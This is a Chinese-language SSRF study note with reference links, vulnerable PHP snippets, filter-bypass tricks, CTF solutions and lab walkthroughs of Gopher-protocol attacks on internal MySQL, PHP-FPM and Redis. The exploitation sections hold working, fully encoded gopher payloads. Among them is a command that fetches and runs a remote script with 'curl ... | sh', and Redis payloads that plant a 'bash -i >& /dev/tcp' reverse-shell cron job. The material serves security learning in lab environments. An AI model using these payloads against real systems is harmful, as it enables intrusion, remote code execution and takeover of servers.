# SSRF 学习记录 ###### tags: `SSRF` [toc] ![](https://i.imgur.com/jAtTFop.png) ![](https://i.imgur.com/mlpNLtN.png) [猪猪侠乌云白帽大会SSRF经典议程](http://docs.ioin.in/writeup/fuzz.wuyun.org/_src_build_your_ssrf_exp_autowork_pdf/index.pdf) SSRF(服务器端请求伪造)测试资源 https://paper.seebug.org/393/ https://github.com/cujanovic/SSRF-Testing SSRF 圣经 https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM 【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器 https://www.anquanke.com/post/id/86527 https://www.youtube.com/watch?v=D1S-G8rJrEk 【Blackhat】从SSRF执行链到RCE,看我如何利用GitHub企业版中的四个漏洞 https://www.anquanke.com/post/id/86517 【BlackHat 2017 议题剖析】连接的力量:GitHub 企业版漏洞攻击链构造之旅 https://paper.seebug.org/363/ SSRF Tips http://blog.safebuff.com/2016/07/03/SSRF-Tips/ http://www.91ri.org/17111.html 了解SSRF,这一篇就足够了 https://xz.aliyun.com/t/2115 SSRF攻击文档翻译 https://xz.aliyun.com/t/2421 SSRF-Lab https://github.com/m6a-UdS/ssrf-lab 从CTF中学习SSRF http://hwhxy.space/2018/08/09/%E4%BB%8ECTF%E4%B8%AD%E5%AD%A6%E4%B9%A0SSRF.html SSRF injection总结得很全面的资料 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#summary some trick in ssrf http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick2-libcurl-and-parse-url PHP的libcurl中存在的一些问题 http://wonderkun.cc/index.html/?p=670 parse_url 函数trick https://github.com/jiangsir404/Audit-Learning/blob/master/parse_url%20%E5%87%BD%E6%95%B0trick.md SSRF漏洞中绕过IP限制的几种方法总结 https://www.freebuf.com/articles/web/135342.html SSRF绕过方法总结 https://www.secpulse.com/archives/65832.html All you need to know about SSRF and how may we write tools to do auto-detect http://www.auxy.xyz/paper/post/all-ssrf-knowledge/ https://medium.com/bugbountywriteup/the-design-and-implementation-of-ssrf-attack-framework-550e9fda16ea 利用redis写webshell https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html Redis和SSRF https://xz.aliyun.com/t/1800 SSRF漏洞(原理&绕过姿势)(php,java,python例子) https://www.t00ls.net/articles-41070.html 浅析SSRF原理及利用方式 https://www.anquanke.com/post/id/145519 SSRF利用 https://hellohxk.com/blog/ssrf/ Gopher SSRF攻击内网应用复现 https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/ https://joychou.org/web/phpssrf.html https://paper.seebug.org/510/#01 利用 Gopher 协议拓展攻击面 https://blog.chaitin.cn/gopher-attack-surfaces/ Python安全 - 从SSRF到命令执行惨案 https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html ## 漏洞场景 了解了漏洞的原理后,我们知道**所有能发起请求的地方**都可能会存在SSRF漏洞,我们可以根据“漏洞代码”中的常见方法对项目进行自查。以下列举一些最容易出现本漏洞的场景: 能填写链接的地方 * 业务场景 * 从URL上传图片 * 订阅RSS * 爬虫 * 预览 * 离线下载 数据库内置功能 * Oracle * MongoDB * MSSQL * Postgres * CouchDB 邮箱服务器收取其他邮箱邮件 * POP3/IMAP/SMTP 文件处理、编码处理、属性处理 * FFmpeg * ImageMagick * Docx * PDF * XML ![QQ邮箱](https://i.imgur.com/HiviuFE.png) ## 漏洞验证 1.排除法:浏览器f12查看源代码看是否是在本地进行了请求 比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞 2.dnslog等工具或者使用`http://ceye.io`进行测试,看是否被访问 --可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。 3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址 --从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址 --通过二级域名暴力猜解工具模糊猜测内网地址 4.直接返回的Banner、title、content等信息 5.留意bool型SSRF ## 工具 SSRFmap - https://github.com/swisskyrepo/SSRFmap Gopherus - https://github.com/tarunkant/Gopherus shellver - https://github.com/0xR0/shellver ## 协议 ### file协议 读取服务器上任意文件内容 ### dict协议 可以用来操作内网Redis等服务 ### ftp、ftps FTP匿名访问、爆破 ### tftp UDP协议扩展 ### imap/imaps/pop3/pop3s/smtp/smtps 爆破邮件用户名密码 ### telnet SSH/Telnet匿名访问及爆破 ### smb/smbs SMB匿名访问及爆破 ### Gopher Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。 Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。 不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用`%0d%a`。注意post参数之间的&分隔符也要进行url编码 基本协议格式:`URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流` 使用gopher协议构造post包的方法 https://www.th1s.cn/index.php/2016/10/31/15.html 实际测试以及阅读文章中发现gopher存在以下几点问题 1. PHP的curl默认不跟随302跳转 1. curl7.43gopher协议存在%00截断的BUG,v7.45以上可用 1. file_get_contents()的SSRF,gopher协议不能使用URLencode 1. file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败 ## PHP漏洞代码 ### curl造成的SSRF ```php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ``` ### file_get_contents造成的SSRF ```php $url = $_GET['url'];; echo file_get_contents($url); ``` ### fsockopen造成的SSRF ```php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ``` ## 利用方式 1. 利用redis从而RCE 2. 探测并利用内网struts2漏洞 3. 利用gopher://协议,在php-fpm里执行任意代码 4. 利用redis/memcache里存储的数据,反序列化或权限绕过 5. 利用phar://协议来触发反序列化漏洞 6. 利用file://协议读取本地文件 soap导致的SSRF https://xz.aliyun.com/t/2960 题目:https://xz.aliyun.com/t/2148 SOAP及相关漏洞研究 https://skysec.top/2018/08/17/SOAP及相关漏洞研究 Python安全 - 从SSRF到命令执行惨案 Python安全 - [从SSRF到命令执行惨案 | 离别歌](https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html) 利用ssrf攻击内网fpm Do Evil Things with gopher:// https://paper.tuisec.win/detail/a87f0565b628bac 利用ssrf攻击内网mysql 从一道CTF题目看Gopher攻击MySql https://paper.tuisec.win/detail/aed0bb56df25952 SSRF配合一些云服务器的特点来GetShell, 如这个:[HackerOne](https://hackerone.com/reports/401136) [通过SSRF漏洞攻击Docker远程API获取服务器Root权限](https://www.freebuf.com/articles/web/179910.html) 搜狗某内网存在Struts2命令执行(discuz!应用实例) Wooyun http://www.secevery.com:4321/bugs/wooyun-2015-0151181 案例 bilibili某分站从信息泄露到ssrf再到命令执行 https://wy.tuisec.win/wooyun-2016-0213982.html 案例 Vanilla论坛利用getimagesize进行phar反序列化导致RCE https://xz.aliyun.com/t/3190 Phar与Stream Wrapper造成PHP RCE的深入挖掘 https://blog.zsxsoft.com/post/38 例题:LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析 https://www.anquanke.com/post/id/164818 案例 百度某个从SSRF到内网WebShell https://wy.tuisec.win/wooyun-2015-099070.html 案例 `SSRF in https://imgur.com/vidgif/url` https://hackerone.com/reports/115748 案例 利用NodeJS SSRF漏洞获取AWS完全控制权限 https://xz.aliyun.com/t/2871 ## [绕过技巧](https://www.secpulse.com/archives/65832.html) ### 更改IP地址写法 例如192.168.0.1 ``` (1)、8进制格式:0300.0250.0.1 (2)、16进制格式:0xC0.0xA8.0.1 (3)、10进制整数格式:3232235521 (4)、16进制整数格式:0xC0A80001 ``` 还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1 ``` 1. http://0/ 2. http://127.1/ 3. 利用ipv6绕过,http://[::1]/ 4.  http://127.0.0.1./ ``` ### 利用解析URL所出现的问题 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。 http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容 ### 利用302跳转 (1)http://xip.io和xip.name当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。 ``` 10.0.0.1.xip.io 10.0.0.1 www.10.0.0.1.xip.io 10.0.0.1 mysite.10.0.0.1.xip.io 10.0.0.1 foo.bar.10.0.0.1.xip.io 10.0.0.1 10.0.0.1.xip.name resolves to 10.0.0.1 www.10.0.0.2.xip.name resolves to 10.0.0.2 foo.10.0.0.3.xip.name resolves to 10.0.0.3 bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4 ``` (2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过用短地址的方式绕过 https://tinyurl.com/ ### 通过各种非HTTP协议 ### DNS rebinding DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等 我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。 ``` 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP 对于获得的IP进行判断,发现为非黑名单IP,则通过验证 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。 由于已经绕过验证,所以服务器端返回访问内网资源的结果。 ``` [关于DNS-rebinding的总结](http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/) ## 实例 ### LCTF-2017-签到题 ```php <?php if(!$_GET['site']){ $str = <<<EOD <html> <body> look source code: <form action='' method='GET'> <input type='submit' name='submit' /> <input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> </form> </body> </html> EOD; echo $str; die(); } $url = $_GET['site']; $url_schema = parse_url($url); $host = $url_schema['host']; $request_url = $url."/"; if ($host !== 'www.baidu.com'){ die("wrong site"); } $ci = curl_init(); curl_setopt($ci, CURLOPT_URL, $request_url); curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ci); curl_close($ci); if($res){ echo "<h1>Source Code:</h1>"; echo $request_url; echo "<hr />"; echo htmlentities($res); }else{ echo "get source failed"; } ?> ``` 知识点 * 用file协议读取本地文件 * 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件 * 截断url后面拼接的/, GET请求, 用?#都可以 payload ``` file://www.baidu.com/etc/flag? ``` ### XMAN-SimpleSSRF ```php <?php /* * I stored flag at baidu.com */ show_source(__FILE__); if(isset($_GET['url'])){ $url = parse_url($_GET['url']); if(!$url){ die('Can not parse url: '.$_GET['url']); } if(substr($_GET['url'], strlen('http://'), strlen('baidu.com')) === 'baidu.com'){ die('Hey, papi, you have to bypass this!'); } if( $url['host'] === 'baidu.com' ){ $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $_GET['url']); curl_exec($ch); curl_close($ch); }else{ die('Save it, hacker!'); } } ``` 知识点 * file协议 * 匹配规则 ``` php parse_url: host: 匹配最后一个@后面符合格式的host libcurl: host:匹配第一个@后面符合格式的host ``` ![](https://i.imgur.com/nDbtZfH.png) 题目告诉你存在一个flag,要输入一个url。 判断`url[7:15]`是不是等于`baidu.com`,并且要让parse_url()处理过后的得到的`url['host']`强等于`baidu.com`,然后回去curl你输入的网址。 好的我们现在来梳理一下,如果正常的输入`http://baidu.com/flag`,则过不了第一个判断,因为提取出来的url`[7:15]===baidu.com` 如果输入`http://eval.com`则能过第一个,但是过不了第二个,因为`url[‘host’]===eval.com`,所以这里的焦点放在了parse_url上 如何让parse_url提取的`url[‘host’]==baidu.com`,又能让`url[7:15]!=baidu.com`呢, @符号之前表示user成分,如果有pass,则用:分割虽然这样没有安全性可言,但是这确实是设计url中的一环. payload ``` file://@baidu.com/flag ``` ### NCTF-2018-Hard Php 题目环境:https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php https://xz.aliyun.com/t/2148 ### LCTF-2018-bestphp's revenge 题目环境:https://github.com/LCTF/LCTF2018/tree/master/Writeup/babyphp's%20revenge https://www.anquanke.com/post/id/164569#h2-5 https://xz.aliyun.com/t/3336 ### 34c3ctf-extract0r 题目环境:https://github.com/eboda/34c3ctf/tree/master/extract0r ### Gopher 攻击mysql #### MySQL连接方式: 在进行利用SSRF攻击MySQL之前,先了解一下MySQL的通信协议。MySQL分为服务端和客户端,客户端连接服务器使存在三种方法: * Unix套接字; * 内存共享/命名管道; * TCP/IP套接字; 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。 TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql–h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。 所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。 #### MySQL认证过程: MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。 MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。 认证数据包格式如下: ![](https://i.imgur.com/HdDjdxe.png) #### 开始 环境使用mattrayner/lamp:latest-1604-php7 docker ![](https://i.imgur.com/uAy5BKH.png) ``` root@487d27afcad1:/# uname -a Linux 487d27afcad1 4.10.4-1.el7.elrepo.x86_64 #1 SMP Sat Mar 18 12:50:10 EDT 2017 x86_64 x86_64 x86_64 GNU/Linux root@487d27afcad1:/# curl -V curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP UnixSockets root@487d27afcad1:/# mysql -V mysql Ver 14.14 Distrib 5.7.23, for Linux (x86_64) using EditLine wrapper root@487d27afcad1:/# php -v PHP 7.2.9-1+ubuntu16.04.1+deb.sury.org+1 (cli) (built: Aug 19 2018 07:16:12) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.9-1+ubuntu16.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies with Xdebug v2.6.0, Copyright (c) 2002-2018, by Derick Rethans ``` 创建数据库 ``` mysql> create database flag; Query OK, 1 row affected (0.01 sec) mysql> use flag; Database changed mysql> create table flag(flag varchar(30) not null); Query OK, 0 rows affected (0.03 sec) mysql> INSERT INTO flag VALUES('flag{gopher_i3_Vu1n3rab13}'); Query OK, 1 row affected (0.04 sec) ``` 使用[gopherus](https://github.com/tarunkant/Gopherus)生成payload ![](https://i.imgur.com/4s1Z1i4.png) ![](https://i.imgur.com/SpDmDbc.png) 线上测试 index.php ```php <?php $url = @$_GET['url']; if($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $co = curl_exec($ch); curl_close($ch); echo $co; } ?> ``` 注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码,上述例子将会编码成: ``` http://xx.xx.xx.xx/?url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251d%2500%2500%2500%2503%2575%2573%2565%2520%2566%256c%2561%2567%253b%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2566%256c%2561%2567%253b%2501%2500%2500%2500%2501 ``` ![](https://i.imgur.com/5ruYMEx.png) 很多情况下,SSRF是没有回显的。 我们可以通过mysql执行select into outfile,当前用户必须存在file权限,以及导出到`secure_file_priv`指定目录下,并且导入目录需要有写权限。 还可以通过udf反弹shell直接执行系统命令。 原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql 因为docker设置了`secure_file_priv=/var/lib/mysql-files/`,偷懒就没有改了, ![](https://i.imgur.com/A0dG2xU.png) ![](https://i.imgur.com/OqHDJ9j.png) ![](https://i.imgur.com/DhJhNRf.png) 也可以去读取mysql的配置文件 ``` select LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf'); ``` 看用户权限 ``` select * from information_schema.user_privileges; ``` #### 利用udf提权反弹shell https://coomrade.github.io/2018/10/28/SSRF%E6%94%BB%E5%87%BBMySQL/ http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/ ![](https://i.imgur.com/7nyoAmr.png) ![](https://i.imgur.com/dgMs8WG.png) ![](https://i.imgur.com/llfvzwR.png) 因为mattrayner/lamp修改`secure-file-priv`失败使用了另外一个docker docker run --rm -it -p 83:80 -v `pwd`/www:/app janes/alpine-lamp bash ![](https://i.imgur.com/msRcgAJ.png) ![](https://i.imgur.com/SbomXte.png) ![](https://i.imgur.com/t2ulzbu.png) 需要将my.ini中的skip-grant-tables选项去掉。 docker修改配置有点麻烦,不知道哪个才是真的配置文件,以后总结一下再来复现2333 UDF提权tips https://bbs.ichunqiu.com/thread-39697-1-1.html ### Gopher攻击FastCGI 一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。 p神介绍FastCGI的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html 实验环境:https://github.com/vulhub/vulhub/tree/master/fpm 利用条件 * libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断) * PHP-FPM监听端口 * PHP-FPM版本 >= 5.3.3 * 知道服务器上任意一个php文件的绝对路径 监听一个端口的流量`nc -lvvp 2333 > 1.txt`,执行EXP,流量打到2333端口 ``` python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php ``` fpm.py地址https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 url编码 ``` f = open('1.txt') ff = f.read() from urllib import quote print quote(ff) ``` ``` curl 'gopher://127.0.0.1:9000/_%01%01%5E%94%00%08%00%00%00%01%00%00%00%00%00%00%01%04%5E%94%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%5E%94%00%00%00%00%01%05%5E%94%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%5E%94%00%00%00%00' ``` ![](https://i.imgur.com/cULUcBd.png) 在php尝试一下SSRF ``` ?url= gopher%3A%2f%2f127.0.0.1%3A9000%2f_%2501%2501%255E%2594%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%255E%2594%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH50%250C%2510CONTENT_TYPEapplication%2ftext%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI%2f1.0%250F%250ESERVER_SOFTWAREphp%2ffcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME%2fusr%2flocal%2flib%2fphp%2fPEAR.php%250B%251BSCRIPT_NAME%2fusr%2flocal%2flib%2fphp%2fPEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT%2f%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI%2fusr%2flocal%2flib%2fphp%2fPEAR.php%2501%2504%255E%2594%2500%2500%2500%2500%2501%2505%255E%2594%25002%2500%2500%253C%253Fphp%2520system%2528%2527echo%2520sectest%2520%253E%2520%2ftmp%2f1.php%2527%2529%253B%2520exit%253B%253F%253E%2501%2505%255E%2594%2500%2500%2500%2500 ``` ![](https://i.imgur.com/QOyUnuT.png) 反弹shell ``` python fpm.py -c "<?php system('curl https://shell.now.sh/xxx.xxx.xxx.xxx:2222 | sh'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php ``` ![](https://i.imgur.com/gFkgFyH.png) ``` ?url= gopher://127.0.0.1:9000/_%01%01%EA%5E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%EA%5E%01%E7%00%00%0E%02CONTENT_LENGTH75%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%EA%5E%00%00%00%00%01%05%EA%5E%00K%00%00%3C%3Fphp%20system%28%27curl%20https%3A//shell.now.sh/xxx.xxx.xxx.xxx%3A2222%20%7C%20sh%27%29%3B%20exit%3B%3F%3E%01%05%EA%5E%00%00%00%00 ``` 反弹shell成功 ![](https://i.imgur.com/6K5WePJ.png) ### Gopher 攻击Redis(一) Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。 实验环境:https://github.com/vulhub/vulhub/tree/master/fpm ``` $sudo apt-get update $sudo apt-get install redis-server $service redis-server start $redis-cli ``` ![](https://i.imgur.com/iWNgyaz.png) ![](https://i.imgur.com/e4bu8dJ.png) [利用redis写webshell](https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html) 先写一个redis反弹shell的bash脚本如下: ``` echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit ``` 该代码很简单,在redis的第0个数据库中添加key为1,value为`\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n`的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。 把接收到的数据转化为gopher数据流 ``` *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a ``` 需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度为58个字节,上面的EXP即是`%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a`,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。 ``` curl -v 'http://127.0.0.1/?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0asucc%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' ``` url编码后 ``` curl -v 'http://127.0.0.1/?url=gopher%3A%2f%2f127.0.0.1%3A6379%2f_%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2463%250d%250a%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f2333%200%3E%261%250a%250a%250a%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250asucc%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250a%2a1%250d%250a%244%250d%250aquit%250d%250a' ``` ![](https://i.imgur.com/JmFrfox.png) 返回了ok,Redis有字段 ![](https://i.imgur.com/S2O0lcg.png) 查看一下`/var/spool/cron/`的root,文件内容有反弹shell命令 ![](https://i.imgur.com/yTiKIE2.png) 因为系统并没有安装crontab,所以手动执行一下,nc会收到回显,但是会报错断开 ![](https://i.imgur.com/mBDyO68.png) :::success 实验失败 因为docker是ubuntu系统,而ubuntu下使用redis写crontab是无法成功反弹shell的 原因参考 https://xz.aliyun.com/t/1800 https://joychou.org/web/hackredis-enhanced-edition-script.html ::: 查看Linux发行版本 ``` cat /etc/redhat-release cat /etc/issue radhat或centos存在: /etc/redhat-release 这个文件 【 命令 cat /etc/redhat-release 】 ubuntu存在 : /etc/lsb-release 这个文件 【命令 cat /etc/lsb-release 】 ``` ### 攻击Redis(二) 实验环境 https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf 生成gopher Payload 脚本:https://xz.aliyun.com/t/5665#toc-8 发送三条redis命令,将弹shell脚本写入/etc/crontab: ``` set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" 